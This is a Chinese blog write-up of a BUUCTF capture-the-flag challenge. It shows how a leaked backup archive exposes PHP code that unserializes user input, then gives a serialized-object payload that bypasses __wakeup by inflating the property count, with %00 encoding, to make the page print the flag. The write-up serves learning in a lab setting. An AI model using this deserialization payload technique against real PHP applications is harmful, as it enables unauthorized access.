首页 > 编程语言 >buuctf-web-[极客大挑战 2019]PHP 1

buuctf-web-[极客大挑战 2019]PHP 1

时间:2022-12-31 23:12:48浏览次数:36  
标签:username web buuctf Name echo flag 极客 100 password

知识点:文件备份、反序列化

打开网站后发现源码没有提示,页面提示“备份的好习惯”,用御剑扫后台,扫出www.zip,打开发现有几个php文件

打开index.php发现关键代码

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);//反序列化
?>

打开class.php看代码

class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;

读代码可以发现只有当username=admin,password=100时才能得到flag。但我们要绕过wakeup,不然username就会变成guest。

绕过方法:让对象属性的个数的值大于真实的属性个数

构造payload:?select=O:4:"Name":3:{s:14:" Name username";s:5:"admin";s:14:" Name password";i:100;}

发现错误,原来是漏了空格,修改一下就可以得到flag了

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

标签:username,web,buuctf,Name,echo,flag,极客,100,password
From: https://www.cnblogs.com/dk2154/p/17017531.html

相关文章

  • Nginx 代理webSocket时60s自动断开, 保持长连接
    利用nginx代理websocket的时候,发现客户端和服务器握手成功后,如果在60s时间内没有数据交互,连接就会自动断开,如下图:为了保持长连接,可以采取来两种方式.1.nginx.conf文件里locati......
  • 常见大型 Web 项目分层
    常见大型Web项目分层流行的Web框架大多数是MVC框架,MVC这个概念最早由TrygveReenskaug在1978年提出,为了能够对GUI类型的应用进行方便扩展,将程序划分为:控制器(Controlle......
  • websocket 多个nginx转发
    官网http://nginx.org/en/docs/http/websocket.html第一个nginxserver{listen6794;root/mnt/dist;location/analyze/{prox......
  • Nginx 代理websocket连接上限
    一.结论 1.nginx最多只能维持(65535*后端服务器IP个数)条websocket的长连接,如果后端websocket服务器IP只有一个,那么就只能最多支持65535条连接。瓶颈就产生在了nginx上......
  • WEB1.0起源:全球首个网站info.cern.ch
    伯纳斯李(图)1990年创立第一个网站。info.cern.ch是世上第一个网站,提供有关万维网的资料。info.cern.ch这个网站依然运作如常。英国科学家蒂姆·伯纳斯-李(TimBerners-Lee)......
  • 极客编程python入门-操作文件和目录
    操作文件和目录Python内置的os模块也可以直接调用操作系统提供的接口函数。>>>importos>>>os.name#操作系统类型'posix'如果是​​posix​​,说明系统是​​Linux​​、......
  • 掌握webpack(一)一张图让你明白webpack中output的filename、path、publicPath与主流插件
    webpack的核心概念,放到2022年相信很多的小伙伴都已经非常清楚了。但是,对于webpack配置中的output.path、output.filename以及output.publicPath,还有很多小伙伴还不理解。本......
  • 搭建web自动化环境,selenium-Java+火狐浏览器+idea
    1、准备浏览器,火狐/谷歌等2、下载驱动插件火狐插件链接:https://github.com/mozilla/geckodriver/releases谷歌插件:https://registry.npmmirror.com/binary.html?path=ch......
  • BUUCTF-[GXYCTF2019]Ping Ping Ping
    一道命令执行题目  一、基础知识 Linuxshell特殊字符(参考链接)【;】作为多个命令语句的分隔符(Commandseparator[semicolon])。要在一个语句里面执行多个命令......
  • go web 通用脚手架CLD模型
    goweb通用脚手架:CLD模型结构图config.yamlapp:name:"web_app"mode:"dev"port:8081log:level:"debug"filename:"web_app.log"max_size:20......